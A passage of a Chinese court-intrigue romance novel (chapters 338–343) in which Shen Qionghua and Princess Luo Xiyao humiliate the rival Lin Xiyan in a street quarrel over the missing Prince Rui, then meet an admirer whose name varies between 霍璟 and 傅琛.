“沈琼华!你这个贱人!你凭什么还这么嚣张!” “你这个水性杨的的贱人,你敢处处与我作对,不就是仗着脚踩两条船,勾着安王和瑞王吗?” “我告诉你,安王已经看清了你的真面目,彻底不要你了!你休想再缠着安王!” “至于瑞王,呵!” “你以为瑞王还能护着你?瑞王自己自身难保!” “你敢这样对我,我不会放过你的!” “等瑞王身死消息传回来的那一刻,便是你……” ‘啪——’ 一记重重的耳光扇下,震得沈琼华的掌心发麻,手掌都微微抖动着,彰示着她心中的不平静。 很显然,林惜颜的话戳中了沈琼华的痛点了。 沈琼华收回方才的话。 她突然觉得,动手也不失为一个好的选择。 毕竟有些人的嘴,是真的脏。 只动口的话根本阻止不了某些人满嘴喷粪! 这一巴掌,沈琼华用了十成十的力道,林惜颜的脸顷刻间便显现出来了一个巴掌印。 林惜颜还没从‘自己又被沈琼华打了,这是第三个巴掌’的震惊中回过神来,另半张脸上便又挨了一个巴掌。 这一巴掌,是洛希瑶打的。 正好左右对称。 两个巴掌打得林惜颜脑瓜子都嗡嗡的,耳边传来洛希瑶的声音,“瑞王是为边关将士,为大越百姓,这才失踪的。” “亏你还是武将家出身,你说这话,都不觉得羞愧吗?” 羞愧? 瑞王重伤失踪,又不是她造成的,她凭什么羞愧? 而且她说的本来就是事实,瑞王都失踪这么久了,若是找到了,早就传回消息了。 现在都没找到,十有八九不是冻死了,饿死了,就是被陈国找到杀害了。 这是瑞王的命,谁让他要接替安王殿下前往边关。 他活该! 这是再明显不过的事情,只不过这些人还在自欺欺人罢了。 如今她不过是将这件事情掀开了,将真相说与她们听罢了,她们凭什么打她? 瑞王都死了,她们都没有嚣张的资本了,竟还打她! 还打了两巴掌! 林惜颜简直要气疯了。 她尖叫一声,扭曲着身子就朝沈琼华扑去,长长的指甲朝沈琼华的脸上抓去。 第三百三十八章气得抓耳挠腮 沈琼华不会拳脚功夫,平时抵挡一下某些手痒想要扇她的人还行。 但像此刻气疯了的林惜颜,几乎是用尽了全身力气朝沈琼华身上扑去,完全不顾自己会不会受伤,沈琼华没有准备,也抵挡不住。 但她不会拳脚功夫,旁边有一个人会啊。 洛希瑶虽然一直待在京城,但到底是武将世家出身,自幼便习武。 身手虽然及不上谢南渊以及身边的暗卫,但也比一般习武之人要好上许多,对付一个闺阁小姐还是绰绰有余的。 林惜颜此番举动来的太过突然,等洛希瑶反应过来她要做什么时,她已经快要扑到沈琼华身上了。 洛希瑶脚比脑子快一步,脚一提就踹在了林惜颜的腰上。 “啊——” 一阵杀猪般的惨叫。 林惜颜竟被洛希瑶一脚踹飞撞翻了摊子,又跌落在了地上,滚了好几圈,华美的衣裳上沾染了一声尘土,分外狼狈。 跟随林惜颜出来的丫鬟,人都惊呆了,傻愣愣地站在那里,忘记了反应,连上前扶一把林惜颜的举动都没有。 至于这摊子主人,早就在察觉这两方刀光剑影时,便已经躲得远远的了。 那摊主也不傻,林惜颜一上来便说明了洛希瑶郡主的身份。 无论是与郡主一同前来的,还是与郡主作对的,身份肯定都是非比寻常的,都是他惹不起的存在。 既然他惹不起,那就躲得远远的,免得两方相斗,殃及他这个池鱼。 事实证明,摊主确有先见之明。 林惜颜养尊处优,腰上被踹了一脚,又在地上滚了几圈,此刻浑身都痛。 心中的愤恨,令她恨不能现下就将沈琼华与洛希瑶二人剥皮抽筋。 更让她无法接受的是,因着这一巨大的响动,原本只是三人口角之争却已经引起了许多人的注意。 很多人都朝这边看过来,亦或是朝这个方向靠拢,其中不乏一些出来逛铺子的世家贵女。 甚至有些世家贵女看向她的目光满是诧异,很明显是认出了她的身份。 此刻,身体上的疼痛都不算什么。 心理上所遭受的羞耻,才是令她无法接受的。 她堂堂林家嫡女,未来的安王妃,竟在大街之上,在所有人的注视下,被人踹翻在地。 这简直是奇耻大辱! 都不用想也知道,今日过后,这件事情必将会在京城贵女们中广为流传,她将成为京中贵女们的茶余饭后的笑料。 巨大的羞辱令得林惜颜一时之间都忽视了身上的疼痛,一心只想让沈琼华与洛希瑶付出代价,找回面子。 她猛地站起身,想要上前,却又在触及洛希瑶的眼神时,止住了脚步。 洛希瑶方才那一脚的力道不轻,显然是习过武的,而她身边又没有会武功的丫鬟。 若是这样硬碰硬,她怕是会吃大亏。 更何况她们人多势众,若是再将她踹倒在地,疼痛是小,丢人是大。 林惜颜心中有了顾忌,便不敢再像之前那样横冲上来。 看着周围聚集的人愈发多了,林惜颜眼珠一转,面上一副羞愤状,道:“你们实在是欺人太甚,你们虽是郡主,县主,却也没有这样当街踹人的道理。” “更何况,我还是皇上亲自赐婚的准安王妃。” “你们如此横行霸道,羞辱于我,我定要进宫找皇上,让皇上给我做主。” 说着,竟一副弱柳扶风的样子,嘤嘤哭泣了起来。 不知道的,还以为是沈琼华一行人先欺负人的。 果然,围过来的不少人开始窃窃私语,眼神在沈琼华一行人身上打量。 似是在思考林惜颜说的是不是真的。 洛希瑶看着装模作样扮可怜,想要制造舆论的林惜颜,气愤不已,双拳紧握,正要上前再揍她一顿,却被沈琼华拦住了。 沈琼华嘴上勾起一抹笑,眼中却满是冰冷,她一脸无辜靠在洛希瑶身上,声音细细地道:“林小姐,你说什么呢?” “方才分明是你癔症发作了,突然冲上前想要对我又咬又打的,幸亏我躲得快,才没有被你打着。” “平宁郡主也是为了保护我,才将你踹倒制住。” “也幸亏平宁郡主那一脚将你踹清醒了,说起来她也算是帮了你一把,免你在众人面前丢脸,你怎么能冤枉她呢?” 林惜颜装柔弱,沈琼华就比她更柔弱,林希颜装无辜,沈琼华就比她更无辜。 这个贱人! 竟敢污蔑她有癔症! 脑子有问题的人才会有癔症! 有癔症的人将来可能会变成疯子! 这话若是传出去,她还要不要见人了! 若是宫里听到了这个谣言,即便是赐婚圣旨已下,恐怕皇上还是要再掂量掂量。 毕竟未来的安王妃总不能可能会变成疯子吧? 林惜颜向来嚣张跋扈惯了,听到沈琼华污蔑的话,心里一肚子火,面上也带着几分扭曲,装柔弱倒也装得有些四不像。 反倒是沈琼华,靠在洛希瑶身上,洛希瑶的手还在她背上轻抚,似是在安抚她,反倒更令人相信了。 一道道质疑的眼神在沈琼华与林惜颜之间来回打量,最后落在了林惜颜的身上。 林惜颜只感觉如芒在背,想着沈琼华那些话,越想越气,直接不装了,甩开身后丫鬟搀扶着她的手,气冲冲朝沈琼华走过来。 “沈琼华!你这个贱人!竟敢胡说八道败坏我的名声!” “你才有癔症!你全家都有癔症!” 一边说,一边冲过来要撕打沈琼华。 可是洛希瑶怎会让她碰到沈琼华? 直接又一脚将人踹了出去。 空气中响起了一声惨叫。 沈琼华心里啧啧称奇。 这一脚可比方才那一脚要重多了。 林惜颜第一时间竟都有些起不来。 她愤恨地盯着洛希瑶,还不待她开口,沈琼华便激动地向周围的人解释道:“你们看,就是刚刚那样,莫名其妙就开始发疯,这谁看了能不怕啊。” “也不怪我们下意识将人给踹了出去,总不能让我们站着不动突然被人打吧。” 一些围观的百姓也被方才林惜颜突然的举动吓了一跳,闻言下意识点头。 林惜颜身上痛得要死,刚缓过来就见沈琼华在那诋毁她,却又奈何沈琼华不得,气得在地上抓耳挠腮。 一些原本还持有怀疑的百姓看到她自己坐在地上手舞足蹈的不知道在干什么,像极了情绪不稳定的疯子。 一时之间,竟都倒向了沈琼华,为沈琼华说话。 甚至还有指着林惜颜的鼻子劝她,既然脑子不正常就不要出门了,免得祸害其他人。 这下,林惜颜是真的要气疯了。 这些低贱的百姓也配指责她! 第三百三十九章迁怒于谁? 她站起身,怒视那些围观的百姓,道:“你们这些低贱之人!关你们什么事?你们有什么资格对我指手画脚!” “我告诉你们,我是林大将军府的小姐,你们若是再敢诋毁我,休怪我让你们好看!” 一看林惜颜开始以权势压人,大部分围观的百姓立时便一哄而散。 笑话,若是平时,管他什么郡主,小姐的,有热闹自然都要看一看。 可若是看热闹要遭到报复,那这热闹也不是非看不可。 没有了令人厌恶的指责,林惜颜顶着一张红肿的脸,揉着腰一步一步朝沈琼华与洛希瑶走近。 却又似忌惮着什么,在半丈远的距离停下。 她满眼怨毒道:“沈琼华,洛希瑶,你们这两个贱人给我等着。” “我父亲为大越国鞠躬尽瘁这么多年,如今都还在边关守卫大越,结果我却在京城遭到了如此屈辱与殴打。” “我定要进宫让皇上给我一个交代,你们就等着皇上的惩罚吧!” 林惜颜并不觉得自己的话有什么问题。 并且坚信皇上为了安抚远在边关作战的林将军,定会给她一个交代。 皇上若是下旨惩罚,那丢脸可就丢大了。 这个时候,林惜颜又庆幸方才那么多人都看到她被洛希瑶踹了。 因为这样一来,沈琼华与洛希瑶就无从狡辩了。 无论是什么原因,踹了就是踹了,这是毋庸置疑的事实。 洛希瑶听到这话却是满脸不屑。 谁没有一个驻守边关,战功赫赫的爹一样! 她会怕? 可是洛希瑶只不屑了一瞬,顿时又愣住了。 糟了!她怎么忘了还有琼华! 这件事件若是真闹到皇上面前,林惜颜有林家护着,她有镇国公府护着,那琼华怎么办? 柿子还知道挑软的捏,皇上动不了她,又要满足林惜颜,极有可能会将怒气都发泄在琼华身上,来让林惜颜满意。 表哥喜欢琼华的事情又未曾在皇上面前表明,皇上可不会对琼华手下留情。 洛希瑶的脸瞬间就白了,她侧头看向沈琼华。 洛希瑶都想到了的事情,沈琼华又怎会想不到。 她回以了洛希瑶一个放心的眼神,随后一步一步朝林惜颜走去。 林惜颜开始听到脚步声还以为洛希瑶又要动脚,下意识便想要往后躲,但却发现上前的人是沈琼华。 沈琼华可没有武功,林惜颜自然不惧怕,心里还揣测起了沈琼华的用意。 这贱人……难不成是听到她要闹到御前去害怕了,想要跟她求饶? 也对,赈灾一事都过去多久了,她那点子事皇上早就忘记了。 如今边关战事紧急,瑞王又失踪了,她林家才是保卫大越的中流砥柱,便是皇上行事也得偏向林家几分。 也难怪沈琼华听到她要去御前告状害怕了…… 林惜颜这般想着,面上不免染上几分得意,开口道:“贱人!你现在知道害怕了?知道求饶了?我告诉你!晚了!” “你将我害成这个样子,还想要我原谅你,做梦!” “不过,你若是跪下来磕头求我,让我听听声响,我听得满意了,也不是不……” 行字还没出口,就又被沈琼华打了一巴掌。 “啊啊啊啊啊啊——贱人!你——” “啪——” 又是一巴掌。 林惜颜还要开口叫骂,却被沈琼华掐住了脖子,似拎小鸡一样拎着她。 沈琼华神色冰冷,说出口的话更是让林惜颜起了一身鸡皮疙瘩,“林惜颜,你这张嘴若是再满嘴喷粪,你信不信我有法子割了你的舌头!” “贱——”沈琼华的手猛地收紧,林惜颜的脸顿时憋的通红。 她的丫鬟倒是想要上前来救她,可是却被洛希瑶给牵制住了。 “你……你敢!”林惜颜艰难吐出两个字。 她是林将军府的大小姐,她爹战功赫赫! 沈琼华想割她的舌头,除非沈家一家的命都不要了! 她眼中透露出来的意思,沈琼华自然清楚。 但她丝毫不惧。 谁让林惜颜这个蠢货做蠢事之前,总是先将把柄递到她的手上。 沈琼华冷笑一声,道:“你是不是觉着我动不了你?” 林惜颜说不出话,只能用眼睛瞪着沈琼华。 沈琼华接着道:“没错,我是动不了你,但有人动得了你。” “林惜颜,说你蠢还真没有冤枉了你,你记不记得方才我因何打你第一个巴掌?” 林惜颜不想听沈琼华说话,可思路却仍然不受控制的跟着她走。 为什么打了她第一个巴掌? 林惜颜仔细回想着…… 突然,她瞪大了双眼,嘴唇不住地颤动。 见她这反应,沈琼华便知晓她这是想起来了。 顿时冷哼一声,道:“林惜颜,说实话,我还真是蛮佩服你的。” “你应当也知道皇上听到瑞王重伤失踪的消息后,当即便吐血晕倒的消息吧?” “皇上醒来以后,顾不得其他,首先便是下旨送往边关让人务必找到瑞王,由此可见皇上对瑞王多看重,有多希望瑞王能平安归来。” “你倒好,你诅咒瑞王不能活着回来也就罢了,竟还有脸将这件事情闹到皇上面前,期望皇上给你做主。” “如此蠢货,还真是愚不可及……” “若是真闹到皇上面前,恐怕皇上的第一反应不是给你做主。” “而是命人割了你的舌头,省得你再胡言乱语诅咒瑞王。” “若是瑞王到时真的没回来,皇上伤心之余,你猜,会迁怒于谁?” 第三百四十章我,只活在当下 迁怒于谁? 自然是迁怒于她这个诅咒瑞王的人! 是啊,她怎么忘记了。 瑞王虽然可能死了,但皇上还在。 皇上是那么看重宠爱瑞王。听到瑞王重伤失踪的消息,急火攻心之下都吐血昏迷了。 为了寻找瑞王,还亲自下旨命人送到边关,以防边关的将士们放弃寻找。 若是皇上知道她在外公然诅咒瑞王,定然不会放过她,甚至连那道赐婚圣旨都不能成为她的保命符。 到时,她恐怕是大越上头一个连王府的门都还没进,就沦为阶下囚的王妃。 林惜颜这个人虽然嚣张跋扈,但也不是完全没有脑子。 起码她大概能分辨出某些人能往死里踩,某些人需要忌惮,某些人是万万得罪不得的。 对于那些万万得罪不得的人,就是借她一百个胆子,她也不与对方作对。 而能掌握她,乃至林家全府人性命的当今圣上,显然就是那个万万得罪不得的人。 她与别人争执闹到皇上面前,皇上看在她爹驻守边关劳苦功高的份上,很大概率会偏向她。 但今日这事是不一样的。 她诅咒的不是别人,是皇上最为宠爱的瑞王,是皇上一手养大的瑞王。 林惜颜用脚指头想也知道,皇上不仅不会偏向她,相反会十分震怒。 甚至因瑞王重伤失踪而憋在心口的郁气都会发泄在她身上,发泄在林府头上。 想到这,林惜颜终于没有刚才的嚣张,漆黑瞳孔里都是恐惧与懊恼。 她怎会这般口无遮拦,让沈琼华拿到了话柄? 不,不对。 她怎么会错? 她不会错的! 分明是沈琼华与洛希瑶这两个贱人! 若不是这两个人一直与她作对,甚至拿周令宜那个水性杨花,不要脸的贱人来激怒她。 她怎会一怒之下,口不择言说出‘瑞王身死’这种话? 她又不蠢! 能不知道这种话不能宣之于口? 对! 就是这两个贱人! 故意给她下套! 林惜颜心中恨极。 沈琼华见到她一脸恐慌的样子,就知道她怕了。 松开了钳制她脖颈的手。 林惜颜得了自由立刻后退了几步,大口大口喘着气。 待面色恢复正常后,这才道:“你胡说八道,我什么时候诅咒瑞王了!你有什么证据!” “我告诉你,即便你去御前对峙,我也不怕你!空口白牙的,你没有证据!” 林惜颜仰着下巴,一副你能耐我何的模样。 林惜颜倒也没有真的蠢到家,还知道这种事情打死都不能承认,立刻改了口风。 “谁说没有证据?”洛希瑶这时走上前,双手叉腰,怒瞪林惜颜,“我就是证据!” “我能证明你确实诅咒瑞王了!” 洛希瑶此刻早已是怒火中烧。 不,或者说,她心中的怒气自林惜颜那句话出口开始,就没有下来过。 她自幼就没有兄弟姐妹。 唯有谢南渊这一个表哥。 谢南渊平日子里虽然讨厌了一些,总是板着一张脸搞得全世界都欠着他一样,性格还阴晴不定,口是心非。 但他到底是除了爹以外,她唯一的亲人。 有时被他管教严苛,她也曾希望他能从世界上,从她身边消失,但这并不代表她能任由别人咒他死。 听到洛希瑶的话,林惜颜神色慌乱了一瞬,随即又挺起胸膛道:“你证明?你的话如何能证明?” “这满京城谁不知道镇国公府的平宁郡主与沈家的嘉林县主交好?” “分明就是你们沆瀣一气,污蔑我!” “你们见瑞王重伤失踪,生死不明,心情不虞,便迁怒到我头上,对我拳脚相加,实在是欺人太甚,我现在进宫让皇上给我做主!” “你们给我等着!” 林惜颜不想再与沈琼华二人歪缠,心里也有些怕再多说些什么又要被这二人带进沟里去,着急忙慌地转身便想要进宫。 洛希瑶心里气得要死,没想到林惜颜如此不要脸,竟玩起打死不承认这套! 她求助似的目光看向沈琼华,希望沈琼华能有办法。 她虽然坚信皇上不会惩罚她,但眼下情况敏感,若是无缘无故殴打京中贵女,其他倒没什么,就怕周贵妃抓住这个把柄要做什么妖。 毕竟如今她爹不在,谢南渊也不在,两大靠山都不在,洛希瑶心里其实还是有些忌惮周贵妃的。 这个女人能爬到如今的位置,头脑与手段缺一不可,肯定不会放过这个难得的机会。 沈琼华察觉到了洛希瑶的眼神,心中明了,顿时哈哈大笑了起来。 林惜颜虽然嘴上硬,但几次三番在沈琼华手上吃亏,心里还是忌惮沈琼华的,见她一反常态笑了起来,下意识往后退了好几步。 方才那种喉头窒息的感觉仿佛又涌了上来,她警惕地看着沈琼华,道:“你,你,你笑什么?” 沈琼华笑容诡异地看着她,半晌才开口道:“笑什么?自然是笑你又犯蠢了。” “你!”林惜颜脸上一阵红一阵白。 沈琼华笑容一收,道:“你以为你不承认就没事了?这街上人来人往那么多人,你能保证方才没有人听到你说的话?” 林惜颜听到沈琼华的话,下意识看向周围的人。 待回过神来后,立刻道:“呵!你别想骗我,你以为你这样说我就会害怕了?做梦!” 即便是有,那些低贱的百姓又岂敢与她作对,恐怕躲都来不及。 林惜颜的心思实在是太好猜了,慌乱之下都写在脸上。 “你是不是觉得你方才的声音不算大,应该没有听见。” “即便是有,普通老百姓也不敢站出来与你这个林大将军府的小姐作对?”沈琼华幽幽道。 林惜颜抿紧唇瓣不吭声,因为她从沈琼华说话的语气中知道沈琼华还有话等着她。 她好像又被沈琼华压制住了…… 她不说话,沈琼华也不急,自顾自说着,“没错,这的确是大海捞针,而普通老百姓确实也不敢跟你这个林大将军府的小姐作对,只怕是躲都来不及……” 林惜颜闻言,下意识松了一口气。 “不过……” “不过什么?”林惜颜下意识问道。 沈琼华唇角轻勾,“不过,若是有帝王出面撑腰就不一样了。” “林惜颜,你猜,在帝王面前,那些老百姓是怕得罪你这个林大将军府的小姐,还是更怕因欺君的罪名而丢了全家的性命呢?” 林惜颜顿时全身一僵。 这还用说吗? 肯定是全家的性命要紧! 这些低贱的百姓各个胆小如鼠,到了帝王跟前,在帝王的威压下,只怕还不用皇上开口,就将事情都吐了出来。 可是难道她就要这样放过她们吗? 她不甘心! 凭什么她们打了她还敢这般嚣张! 沈琼华打量着林惜颜僵硬的神情,轻笑一声,道:“如何?林小姐,你现在还要进宫找皇上给你做主吗?” “若是要,还请尽快,省得待会天暗了,不方便皇上找人。” “沈琼华,你这么嚣张,就不怕今后无人依靠之时,被我秋后算账吗?”林惜颜咬牙道。 沈琼华嗤笑,“林小姐,你都这样说了,依你的脾气秉性到时自然不会放过我。” “既然逃脱不开,那我何不趁着还能嚣张之时,嚣张一把呢?” “我,只活在当下。” 第三百四十一章总不会是心疼谢南渊了吧? “好!好一个只活在当下!”林惜颜面色铁青,“我倒要看看你还能嚣张多久,还能……活多久!” 沈琼华挑眉,“看林小姐这样子是不打算进宫告御状了,既然如此,恕我和平宁郡主不奉陪了。” “毕竟我和平宁郡主还有许多东西要买,林小姐如今这副尊荣,想必是没有心思再买东西,迫不及待要掩面回府了,告辞!” 说着,沈琼华给芍药递了一个眼色,就拉着洛希瑶走了。 芍药会意,从荷包里掏出一锭银子递给一直在不远处观望的摊主,这才追沈琼华而去。 只余下林惜颜主仆在原地气得跺脚。 这个贱人! 竟然讥讽她没有脸面见人! 她脸上弄成这样还不是拜她所赐! 贱人!贱人!贱人! …… 洛希瑶挽着沈琼华的胳膊往前走,却还不时回头张望。 沈琼华有些无奈,“别看了。” 洛希瑶睁着一双大眼睛,道:“琼华,你说她真的不进宫告状了吗?” 沈琼华听到这话,到时颇为稀奇地看了她一眼,打趣道:“怎么?怕她进宫告状?你不是一向都不怕的吗?” 洛希瑶一哽,撇了撇嘴,这才道:“谁怕了,这不是情况特殊吗?” “爹和表哥都不在,咱们俩在京城孤立无援的,若是出点什么事,被周贵妃那个女人抓住把柄,她肯定要借题发挥,将咱们两个给碾死!” 洛希瑶一边说着,一边用另一只手的大拇指与食指交叠,鼻头微皱。 沈琼华失笑,逗弄她,“看不出来啊,你这么怕她,上回在延禧宫,你对上她不是挺有底气的吗?” 洛希瑶龇了龇牙,道:“你也知道是上回,上回爹和表哥都在,我自然不怕。” “你是不知道,这个周贵妃歹毒的很,我跟你说……” 洛希瑶看了一眼周围,随后附到沈琼华耳边低语了几句。 沈琼华蓦地瞪大了双眼,不可置信道:“真的假的?” 洛希瑶不受控制的翻了个白眼,“自然是真的,这种事情我还能骗你不成?” “我原先也不知道,是偶然间偷听到我爹与表哥说话才知晓的。” 沈琼华的心怦怦直跳。 她是真没想到,先皇后的死竟然与周贵妃有关。 皇上知道这件事吗? 怕是不知道吧。 不然怕是早就处置周贵妃了。 没娘的孩子总是要过得艰难些的,即便是生在皇家也不例外。 即便皇上再宠爱谢南渊,也顶替不了先皇后的位置。 谢南渊越是得皇上宠爱,就越是挡了别人的路,令别人恨不能除之而后快。 沈琼华想到今生第一次与裴凉川见面,裴凉川给谢南渊把脉之时说的那些话。 心头微涩。 他幼时过得也很艰难吧。 没有母亲在身边,父亲即便是再看重宠爱他,到底也不是他一个人的父亲。 后宫里那么多孩子,皇上也不可能完全站在他的角度去替他考虑,而敌对其他的孩子。 最多就是偏心一点点而已。 而这一点点的偏心,也成为了某些人的眼中刺。 沈琼华控制不住地去想谢南渊幼时的那些伤,有哪些是真的意外,有哪些是人为,又有哪些是出自周贵妃之手…… “琼华……琼华?” 耳边的叫喊声拉回了沈琼华的思绪。 “啊?怎么了?”沈琼华下意识问道。 “应该是我问你怎么了,喊了半天都不见你回神,你该不会是……吓到了吧?”洛希瑶有些担忧道。 “没有。”沈琼华道:“我怎么可能会被吓到。” “没有?”洛希瑶斜眼看她,见沈琼华面色红润,确实不像是吓到的样子,随口嘀咕道:“没有吓到怎么半天不回神,总不会是心疼谢南渊那个小子了吧?” 说者无意,听者有心。 沈琼华猛然一僵,随后很快就恢复了正常。 虽然只有短短的一瞬,但洛希瑶正挽着她的手臂,还是很敏锐的感知到了。 洛希瑶瞪大双眼,不可置信地上上下下打量沈琼华,似是第一天认识她一般。 惊呼道:“不是吧!真被我说中了!你——”她话还未说完,就被沈琼华给捂住了嘴。 沈琼华死死捂住洛希瑶的嘴,生怕她说出什么骇人听闻的话,“姑奶奶,你小点声。” “我没有心疼瑞王,我就是……就是一时间没有反应过来,你……明白吗?” 洛希瑶一顿,随即疯狂点头,朝沈琼华眨眼睛,表示自己明白了,赶紧放开她。 “你……你别乱说啊。”沈琼华还不忘再叮嘱一句,这才放开了洛希瑶。 洛希瑶得了自由立刻做出了一个不文雅的举动——吐舌头,朝沈琼华扮了一个嘴脸。 “略略略,我才不相信,你肯定是心疼他了!” 洛希瑶一边说,一边往前跑。 沈琼华见状赶紧上前去追她,“你别乱说……” 二人你躲我闪的,一阵嬉闹。 突然,沈琼华撞上了一个人,“对不起,我——” “沈小姐!” 一道即便压抑着也难掩激动的声音打断了沈琼华想要道歉的话。 沈琼华猝然抬头,眼中闪过一丝意外,“霍公子!” 第三百四十二章我与你们一起! “沈……沈小姐,你怎么在这?”霍璟面露惊喜道,耳尖微红。 “我……”沈琼华正待说些什么,就被折返回来的洛希瑶挽住了手臂。 洛希瑶面色不善地盯着霍璟。 她原本与琼华玩闹着向前跑,突然发觉琼华没有追上来,返头一看,就看见一青色衣衫的男子正挡在琼华面前,正在与琼华说话。 她还以为是哪家纨绔子弟想要对琼华动手动脚,待往回走了几步才发现,这才发现与琼华说话的不是别人,正是她曾经介绍给琼华认识的霍璟。 她心中顿时警铃大作。 自上回一别,她已许久不曾见过霍璟,但她却知道霍璟这家伙对琼华可是还贼心不死。 如今遇上了,霍璟指定要对琼华大献殷勤。 万一琼华一时抵挡不住,脑子一热答应嫁给霍璟了怎么办? 这可不行! 表哥如今不在京城,她可不能让其他男子趁此机会乘机而入了。 不然等谢南渊平安回来了,还不得将她大卸八块用以泄愤! 毕竟他那个人最会迁怒了,绝对做得出这种事情! 思及此,洛希瑶微扬着下巴道:“霍公子,怎么?你眼中就只看得见琼华,看不见本郡主了是吧?” 洛希瑶的语气颇为不善,完全忘记了她曾经有多想撮合傅琛与沈琼华,一心只想替谢南渊防着其他男人靠近沈琼华。 傅琛有些报羞地挠了挠头,耳尖愈发红了,连忙拱手道:“平宁郡主实在是不好意思,是傅某的错,一时不察……” 傅琛连连躬身,嘴上尽是谦逊之语,倒是让洛希瑶心虚了起来,默默收回了抬高的下巴。 洛希瑶本就不是无理取闹之人,傅琛此番作态倒是让她一肚子话到了嘴边,却吐不出来。 沈琼华见状连忙笑着打圆场道:“傅公子不必如此,郡主她是说着玩的,没有真的生气,对不对?” 最后三个字是对着洛希瑶说的。 洛希瑶鼓了鼓脸颊,瓮声瓮气地‘嗯’的一声。 气氛这才缓和了下来,继续刚才的话题。 沈琼华嘴角挂着客气的笑,道:“我与郡主来此处逛逛,想要添置一些首饰,没想到会遇到傅公子你,傅公子,你这是……” 沈琼华的眼神落在傅琛身后的小厮捧着的首饰锦盒上。 这西大街,之所以受京中女子们的欢迎,是因为大多数都是为女子所开的铺子,像首饰铺,绸缎庄,胭脂水粉等。 女子们由里到外,由上到下,只要想到的,都能在这西大街买到。 而傅琛一个顶天立地的男子,大白日的出现在这西大街,本就不正常,更何况跟着的小厮手中还捧着首饰盒,难保不让人想歪。 沈琼华心里悄悄舒了一口气。 她原本还怕傅琛执拗,不知该如何开口,怕伤害了他。 毕竟傅琛是个好人,还曾指导过阿逸的课业,也算是帮助过她。 如今傅琛有了心仪的女子,想必是将曾经的事情放下了。 也对,她与傅琛认识的时间并不长,也并没有相处过深,如何就会在被自己拒绝之后还对自己念念不忘。 沈琼华心中有些失笑。 她什么时候也变得如此自恋了。 随着沈琼华的眼神,洛希瑶自然也看到了那小厮手中捧着的锦盒。 她心中一喜,竟直接开口道:“傅公子,你这不会是要好事将近了吧?恭喜恭喜啊!” 谢天谢地,总算是断了对琼华的心思。 可她显然是恭喜早了,傅琛听到洛希瑶的话蓦然瞪大双眼,意识到洛希瑶误会了,生怕沈琼华也这样认为,连连摆手道:“不不不,平宁郡主,你,你误会了。” 洛希瑶摆了摆手,道:“哎呀,傅公子,你别害羞嘛,我都懂的,放心,我和琼华绝对守口如瓶。” “不是这样的!”傅琛更急了,道:“平宁郡主,不是你想的那样,这首饰不是我的,是家母的。” “家母一早便定下了这首饰,原本是家中侍女来取,只不过我今日沐休,恰巧来这附近办事,这才顺道带回去。” 说着,看了一眼沈琼华,这才道:“我……我没有其他爱慕的女子。” “啊~~”洛希瑶的脸顿时垮了下来。 白高兴一场。 随着洛希瑶尾音的落下,一时间没人再说话,气氛一下子冷凝了下来。 沈琼华也有些尴尬,毕竟方才她也与洛希瑶想到一块去了。 更尴尬的是,傅琛刚才看她的那一眼,其中蕴含的意思大家都心知肚明。 良久,沈琼华才轻咳一声,道:“那什么,既然傅公子你已经拿到了首饰,那便赶快送回去给伯母吧,想必伯母收到首饰定然很开心。” “我与郡主东西还未买齐,还需要再逛——” “我与你们一起!”傅琛还未等沈琼华说完,想也未想便急急忙忙道。 说完,才意识到自己有些唐突了。 可却也不愿意改口。 他许久都未曾和沈小姐见面了,如今难得遇上了,如此良机,他怎能错过。 他还有好多话想与沈小姐说呢。 上一次若不是瑞王…… 想到瑞王,傅琛身体一僵,这才想起瑞王如今生死未卜。 其实这也怪不得霍璟反应慢,实在是洛希瑶不像是情绪低落的样子,她和沈琼华两个人都在用自己的方式让对方能够开心一些。 想起这件事,霍璟心中不免有些担忧。 平宁郡主应当很伤心吧,那沈小姐呢? 瑞王也爱慕沈小姐,即便是沈小姐对瑞王没有旁的心思,相识了这么久的人出了事,还是好友的亲人,沈小姐应当也很难过吧? 这下,霍璟看着沈琼华和洛希瑶,怎么看都觉着两个人是在强颜欢笑。 洛希瑶并没有察觉到霍璟的心思变化,还沉浸在方才霍璟的话中。 她断然拒绝道:“不行!” 她与琼华逛铺子,霍璟一个男人跟在她们身边做什么,是嫌她们不够扎眼吗? 若真是如此,只怕西大街还没逛完,谣言就已经传得满天飞了吧。 她也就罢了,谅傅琛也不敢有什么意见,可是琼华不行。 若是表哥能平安归来,要是今后她们能够走到一起,将来请皇上赐婚,这谣言可就是两人成婚的拦路虎。 沈琼华也道:“霍公子,一起就不必了,你还是赶紧将这首饰送回去吧,想必伯母也等急了。” 可霍璟却没想那么多,他此刻满心觉得自己应该安慰一下洛希瑶与沈琼华,于是转头对小厮吩咐道:“你先回府去罢,将首饰送到母亲院中去。” 小厮闻言,看看霍璟,又看看沈琼华与洛希瑶,低着头离开了。 霍璟转头,道:“这样不就行了。” 沈琼华:“……” 洛希瑶:“……” 倒也不是这个意思! 第三百四十三章你心中也是有他的 见二人神色有异,霍璟心中有些惴惴地开口道:“平宁郡主,你……还好吗?” “还有沈小姐,你应当还好吧?” 洛希瑶原本还想说些什么,听到这话霎时间就禁了声。 沈琼华原本嘴角带着的浅笑也消失了。 安慰人真的是一个很奇妙的事情。 明明是好心想安慰一番,可是话出口的一瞬间又好像是将别人即将愈合的伤口重新撕开,露出了原本破碎不堪的内里。 相较于洛希瑶,霍璟的心思自然是更加偏向沈琼华一些的,在沈琼华身上的注意力也倾注得更多一些。 此刻感觉到沈琼华周身都萦绕着一股郁气,脸上的笑模样也没了,有些无措道:“沈……沈小姐,你怎么了?” “你要是伤心的话,你就哭出来,你别憋在心里,对身体不好。” 沈琼华深深地缓了好几口气,良久,才看向霍璟,开口道:“霍公子,你是不是还有什么话要跟我说?” 霍璟浑身一僵,犹豫一瞬后才轻轻点头。 沈琼华不是个墨迹的性子,当下便道:“那好,咱们找个地方说话吧,这大街上的不方便。” “好。”霍璟讷讷道。 沈琼华见霍璟答应了,便率先朝一旁的酒楼走去。 洛希瑶抿着唇,脸颊气鼓鼓的,“你真讨厌!” 做什么非要提及别人的伤心事,开开心心的不好吗? 可洛希瑶也说不出责怪的话,她心里也清楚霍璟是好心。 不能责怪,心里又不痛快。 洛希瑶索性一跺脚追沈琼华去了。 直到二人都走远了,霍璟这才跟了上去。 沈琼华率先到了酒楼,开了一个雅间,与洛希瑶一起等霍璟。 过了一会,霍璟才推门进来。 见他进来,洛希瑶猛地站起身,道:“你们谈,我去外头守着,免得你们说话不自在。” 说着,没好气地瞪了霍璟一眼,这才气呼呼地走了出去。 房门关拢。 霍璟看了一眼站在窗边,低头看着下面景色的沈琼华,有些踌躇。 